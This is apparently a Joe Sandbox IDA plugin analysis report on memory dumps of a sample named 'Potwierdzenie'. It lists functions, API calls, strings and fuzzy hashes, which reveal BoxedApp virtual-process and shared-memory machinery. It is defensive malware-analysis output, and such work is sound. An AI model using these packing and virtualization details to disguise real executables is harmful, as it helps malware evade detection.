Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy
String ID: #AllUsers#\#AppData#$#AllUsers#\#Desktop#$#AllUsers#\#Documents#$#AllUsers#\#Favorites#$#AllUsers#\#Music#$#AllUsers#\#Pictures#$#AllUsers#\#StartMenu#$#AllUsers#\#StartMenu#\#Programs#$#AllUsers#\#StartMenu#\#Startup#$#AllUsers#\#Templates#$#AllUsers#\#Video#$#ProgramFiles32#$#ProgramFiles32#\#Common#$#SystemDrive#$#SystemDrive#\#Windows#$#SystemDrive#\#Windows#\#System32#$#UserProfile#$#UserProfile#\#AppData#$#UserProfile#\#Cookies#$#UserProfile#\#Desktop#$#UserProfile#\#Favorites#$#UserProfile#\#LocalAppData#$#UserProfile#\#MyDocuments#$#UserProfile#\#MyMusic#$#UserProfile#\#MyPictures#$#UserProfile#\#MyVideo#$#UserProfile#\#StartMenu#$#UserProfile#\#StartMenu#\#Programs#$#UserProfile#\#StartMenu#\#Startup#$#UserProfile#\#Templates#
API String ID: 3510742995-518920268
Opcode ID: 133cfe037b0b6dd47f2ae7baeef06dfe408500654082f9b50fcae7b7fd921bf5
Instruction ID: 12e6c5d1af3c9eddf88fe62ae96d364f1bf4a411d3f0fadb2356773318dbe4ac
Opcode Fuzzy Hash: 133cfe037b0b6dd47f2ae7baeef06dfe408500654082f9b50fcae7b7fd921bf5
Instruction Fuzzy Hash: 8461E2347F03147EDA05B7246D93FBE61968BA8E04FD84029F342BA5C0EEA569027369

Function 0BCA4340 Relevance: 45.4, APIs: 30, Instructions: 421COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore
String ID:
API String ID: 452062969-0
Opcode ID: 84e1249537d153e21d10e0857db2fd071d8404f4865f4015b39bf5b4647b5e49
Instruction ID: 13c061045a5b6a69512424878fbf2bfc8da8ef8451a5cfca264d8c9b5a810a1c
Opcode Fuzzy Hash: 84e1249537d153e21d10e0857db2fd071d8404f4865f4015b39bf5b4647b5e49
Instruction Fuzzy Hash: F9F13E74D2121A9FDB19DF99C480AAEBBB9FF88764F04805AED15B7300D774DA40CB90

Function 0BCA6630 Relevance: 45.4, APIs: 30, Instructions: 420COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5539823c3673f3723fe38e30cea3b8059755d8ff8926a55cf68afc54a1a323f2
Instruction ID: 6d9403f9e2ee73e8dd791ebacce7303dace390cfab9fdcfa8e105026c009b4b5
Opcode Fuzzy Hash: 5539823c3673f3723fe38e30cea3b8059755d8ff8926a55cf68afc54a1a323f2
Instruction Fuzzy Hash: DDF13E74D212169FCB15DFA5C480AAEBBB9FF88754F198069ED15B7300D734EA40CBA0

Function 0BC6C430 Relevance: 37.8, APIs: 25, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5fd92ee989c9247379f4318d32b37c018c78f216b5b85ebb0b76149ea8e52a3d
Instruction ID: 414fc2c4ba1854fa184fd5fe91280d7c126d4a4440df026c51f4fbb12195f38d
Opcode Fuzzy Hash: 5fd92ee989c9247379f4318d32b37c018c78f216b5b85ebb0b76149ea8e52a3d
Instruction Fuzzy Hash: 5DA15AB4D22214AFCB29DF65C880E7B7BB5EF84790F048159EC95AB311D734DA01EBA4

Function 0BC9C930 Relevance: 37.8, APIs: 25, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a11574223e5a734d76c331a07e5920cde4430174dee34bed8927c5b8847c9e51
Instruction ID: 9fc92f1cc00ee12d74e5c35b1c3a839f2076a4e5fb0a382f4f96b63b68f2d284
Opcode Fuzzy Hash: a11574223e5a734d76c331a07e5920cde4430174dee34bed8927c5b8847c9e51
Instruction Fuzzy Hash: D2A1A070D22220DFEF26DF55D988B6BBBB8EF84B50F154149E914AB211DB74CA01DBE0

Function 0BC6CB00 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 214filethreadCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0BC6CB39
CreateFileMappingW.KERNEL32(000000FF,0BCF78B8,00000004,00000000,00000004,?), ref: 0BC6CB56
OpenFileMappingW.KERNEL32(00000006,00000000,?), ref: 0BC6CB6E
MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,00000004), ref: 0BC6CB99
GetCurrentProcessId.KERNEL32 ref: 0BC6CBA6
wsprintfW.USER32 ref: 0BC6CBD2
wsprintfW.USER32 ref: 0BC6CBEC
CreateFileMappingW.KERNEL32(000000FF,0BCF78B8,00000004,00000000,00000018,?), ref: 0BC6CC09
MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,00000018), ref: 0BC6CC2E
GetCurrentProcessId.KERNEL32(?), ref: 0BC6CC67
CreateEventW.KERNEL32(00000000,00000000,00000000,?), ref: 0BC6CC94
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6CCB2
CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6CCC7
CreateThread.KERNEL32(00000000,00000000,0BC6CDA0,?,00000000,00000000), ref: 0BC6CCE4

Part of subcall function 0BC6BCD0: CreateEventW.KERNEL32 ref: 0BC6BD1E

CreateThread.KERNEL32(00000000,00000000,0BC6CD90,?,00000000,00000000), ref: 0BC6CD14

Strings

boxedapp_event_newmsg, xrefs: 0BC6CC74
boxedapp_msg_global, xrefs: 0BC6CB28
%s_%.8x, xrefs: 0BC6CBE6
boxedapp_msg_process, xrefs: 0BC6CBC1
%s_%.8x_%.8x, xrefs: 0BC6CB33, 0BC6CBCC

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Create$File$Event$Mappingwsprintf$CurrentProcessThreadView$Open
String ID: %s_%.8x$%s_%.8x_%.8x$boxedapp_event_newmsg$boxedapp_msg_global$boxedapp_msg_process
API String ID: 3548000797-1557302118
Opcode ID: 1b38213a6de4f96b68ac90f30e74f975a2aaa062106a735b613ab4068cb869f5
Instruction ID: 702ca736da2adab38c03c00da7dbf55d8664de4a2500efde36a91d9e867d49c8
Opcode Fuzzy Hash: 1b38213a6de4f96b68ac90f30e74f975a2aaa062106a735b613ab4068cb869f5
Instruction Fuzzy Hash: 0D7173B1A90305BFEB209F64DC86F5B7BA8EF04715F104165FA05EA1C1E7B0EA14CBA5

Function 0BCA6C30 Relevance: 33.4, APIs: 22, Instructions: 368COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4cc82b1181b6c6863cc93e9ad9c2f58fa229b57aab33ad8bc0b344c2232caec
Instruction ID: dfdcb22f0c81cdfcd54456af631ca4b96e0723e54f9eab65251308c01d9282a0
Opcode Fuzzy Hash: c4cc82b1181b6c6863cc93e9ad9c2f58fa229b57aab33ad8bc0b344c2232caec
Instruction Fuzzy Hash: 3FE12D75D21216DFCB14DF95C880AAEBBB9FF48758F194069E915AB310DB34EE00DBA0

Function 0BC9CC40 Relevance: 33.3, APIs: 22, Instructions: 328COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Release$DataMarshalSemaphore
String ID:
API String ID: 3945476791-0
Opcode ID: 4fbe894d19f711dbed6522e127173607c814783114c768f9dddac8e96404aa8e
Instruction ID: c9f5a295717bcab1c361fe2f7a777c5d64ebd7274ddc91d53f9da97c6a15e99c
Opcode Fuzzy Hash: 4fbe894d19f711dbed6522e127173607c814783114c768f9dddac8e96404aa8e
Instruction Fuzzy Hash: 9DC19271D213159FDF21EFA5D885B9FBBB8FF88750F104519E916A3240DB30AA05DBA0

Function 0BCA02D0 Relevance: 33.2, APIs: 22, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b75afc3254ba0939118c1325b97750718b23cd83c3fd62606e4f28839c61eb39
Instruction ID: 616a9702ae58dc95280fa26ff8d2ef0d7705db554ffec5adea670c1b892d2a84
Opcode Fuzzy Hash: b75afc3254ba0939118c1325b97750718b23cd83c3fd62606e4f28839c61eb39
Instruction Fuzzy Hash: A9816E75C222219FDB22DF55C980B6FBBB8FF85B98F158049E9146B211DB74CA01DBE0

Function 0BCAA8F0 Relevance: 33.2, APIs: 22, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c145b40909c7b75a59c6fea8ccc7acfea596f3bd601edeaf5681139d0ea35793
Instruction ID: e0b810a132d7039071a7ee66362de0c1b77f0cc9f43903bfa5329158174a71fb
Opcode Fuzzy Hash: c145b40909c7b75a59c6fea8ccc7acfea596f3bd601edeaf5681139d0ea35793
Instruction Fuzzy Hash: 0A717F74E21607AFCF15EFA5C9819BFB7BABF44654B04052DE912A3650DB30EE10DBA0

Function 0BC6C720 Relevance: 31.9, APIs: 21, Instructions: 354COMMON

Download Yara Rule

APIs

Part of subcall function 0BC76010: wsprintfW.USER32 ref: 0BC76049
Part of subcall function 0BC76010: OpenMutexW.KERNEL32(00100000,00000000,?), ref: 0BC76060

GetCurrentProcessId.KERNEL32(00000000,?,00000000,?,00000000,00000000,?,00000000,?,00000000,?,00000000,?,00000000,?,00000000), ref: 0BC6C802

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentMutexOpenProcesswsprintf
String ID:
API String ID: 3342623471-0
Opcode ID: 9dfc3dcee02363dea37143ee0a397bb93d70e6d0c88e773c63d1e7a243dc134c
Instruction ID: 9c47e05d349ba48e13fc766548ca2b670054244dbe56a5f975db2231a70c141d
Opcode Fuzzy Hash: 9dfc3dcee02363dea37143ee0a397bb93d70e6d0c88e773c63d1e7a243dc134c
Instruction Fuzzy Hash: 8CC1B0B0A21215AFCB24DF65C9C1FAF7BB9FF44780F044029E945A7250DB31EA15DBA0

Function 0BCB0030 Relevance: 28.7, APIs: 19, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9094e0e15bd6491c1e37fd6a514ffeeca453b2e6110b157f678b82f164f685a
Instruction ID: 4874594abc2c6c69dffb78ad0bc81b6bb47eb108640d40cb7f23d71834710dd2
Opcode Fuzzy Hash: d9094e0e15bd6491c1e37fd6a514ffeeca453b2e6110b157f678b82f164f685a
Instruction Fuzzy Hash: 91714CB0D2171AAFDF15DF65C881EAFBBB9FF44740F148529E918A7210E730EA149B90

Function 0BC6C110 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 178fileCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0BC6C14A
wsprintfW.USER32 ref: 0BC6C162
OpenEventW.KERNEL32(001F0003,00000000,?), ref: 0BC6C174

Part of subcall function 0BC380F0: ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,00000004,-00000008,?,0BC32A79,?,?,?,?,000000FF,?,?), ref: 0BC3815D

wsprintfW.USER32 ref: 0BC6C1FE
wsprintfW.USER32 ref: 0BC6C217
OpenFileMappingW.KERNEL32(000F001F,00000000,?), ref: 0BC6C22A
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000018), ref: 0BC6C240
SetEvent.KERNEL32(?), ref: 0BC6C2A0

Strings

boxedapp_event_newmsg, xrefs: 0BC6C139
core, xrefs: 0BC6C2E5
). It is possible that process(, xrefs: 0BC6C2D4
) was destroyed or there are not enough rights., xrefs: 0BC6C2CE
%s_%.8x, xrefs: 0BC6C15C, 0BC6C211
boxedapp_msg_process, xrefs: 0BC6C1ED
Failed to open event(, xrefs: 0BC6C2E0
%s_%.8x_%.8x, xrefs: 0BC6C144, 0BC6C1F8

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: wsprintf$EventFileOpen$MappingReleaseSemaphoreView
String ID: %s_%.8x$%s_%.8x_%.8x$) was destroyed or there are not enough rights.$). It is possible that process($Failed to open event($boxedapp_event_newmsg$boxedapp_msg_process$core
API String ID: 3002816720-2055272442
Opcode ID: 27a1b3e162ff6ed1c7b1c051b0bb518fd64b58539cde28cf759871695334fb06
Instruction ID: f543a0d3604e7598cd31bdd73458a92fca54e4a15427daf71f63af3b7989cfa4
Opcode Fuzzy Hash: 27a1b3e162ff6ed1c7b1c051b0bb518fd64b58539cde28cf759871695334fb06
Instruction Fuzzy Hash: 09519271A50208AFDB20EFA4CC85EAFB7F8EF58710F044569FA4597250DB30EA458BA0

Function 0BC70020 Relevance: 27.4, APIs: 12, Strings: 6, Instructions: 418COMMON

Download Yara Rule

APIs

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Part of subcall function 0BBFE950: memcpy.NTDLL(00000000,?,?,?), ref: 0BBFE98A

memcpy.NTDLL(00000000,?,?,?,?,?), ref: 0BC7025E
memcpy.NTDLL(00000000, | ,00000000,?,?,?), ref: 0BC7028F

Strings

(0x%.8x), xrefs: 0BC70516
NULL, xrefs: 0BC7035F, 0BC70395
@, xrefs: 0BC700BD
0x%.8x, xrefs: 0BC703DC
| , xrefs: 0BC70218, 0BC70289, 0BC703F7, 0BC70469
, xrefs: 0BC700A9

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$FreeHeapReleaseSemaphore
String ID: $ (0x%.8x)$ | $0x%.8x$@$NULL
API String ID: 3508845319-2561858753
Opcode ID: 26f130ffc0859469e1efcd990c5302d01af4a54b08da0bbb4b185a0dfa089926
Instruction ID: 48bbcf05198a56b367a0ae6579eaade22905bcffde0e9bf07e515e3d4623f66c
Opcode Fuzzy Hash: 26f130ffc0859469e1efcd990c5302d01af4a54b08da0bbb4b185a0dfa089926
Instruction Fuzzy Hash: 5E028CB0D5064AAFDB10EF94D885BAEFBB5FF44304F1485A9D419AB300D730AA58CFA5

Function 0BC1E170 Relevance: 26.5, APIs: 6, Strings: 9, Instructions: 239fileCOMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,?,?,000001D8,?), ref: 0BC1E1A9
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0BC1E1C1
ReadFile.KERNEL32(00000000,?,00000040,0BBFC37F,00000000), ref: 0BC1E1E8
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 0BC1E1F2
ReadFile.KERNEL32(00000000,?,000000F8,0BBFC37F,00000000), ref: 0BC1E20B
CloseHandle.KERNEL32(00000000), ref: 0BC1E20E

Part of subcall function 0BBFE3C0: wsprintfA.USER32 ref: 0BBFE3ED
Part of subcall function 0BBFE3C0: memcpy.NTDLL(00000000,00000000,00000001,00000000,00000100), ref: 0BBFE440

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Strings

core, xrefs: 0BC1E25E, 0BC1E304, 0BC1E43D
Template: , xrefs: 0BC1E259
to , xrefs: 0BC1E369, 0BC1E387
. Virtual exe: from , xrefs: 0BC1E378
- , xrefs: 0BC1E24A
Unsuitable combination of stub's and virtual exe's image bases / offsets., xrefs: 0BC1E39B
sysapi/process, xrefs: 0BC1E3A0
Stub: from , xrefs: 0BC1E396
TryCreateProcessForVirtualEXE, template exe found: , xrefs: 0BC1E2FF, 0BC1E438

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Filememcpy$Readwsprintf$CloseCreateFreeHandleHeapLocalMemoryPointerProcessReleaseSemaphoreTimeWrite
String ID: - $ to $. Virtual exe: from $Stub: from $Template: $TryCreateProcessForVirtualEXE, template exe found: $Unsuitable combination of stub's and virtual exe's image bases / offsets.$core$sysapi/process
API String ID: 2900621969-3865723307
Opcode ID: b6802000a3675a53772d70b1deaafe30b04c966ceeb7d8004752465043afa548
Instruction ID: 8f794c8f51d353c2152b91114c3e7aa9807a7fadf961ce4b71d9c3742b9a0bad
Opcode Fuzzy Hash: b6802000a3675a53772d70b1deaafe30b04c966ceeb7d8004752465043afa548
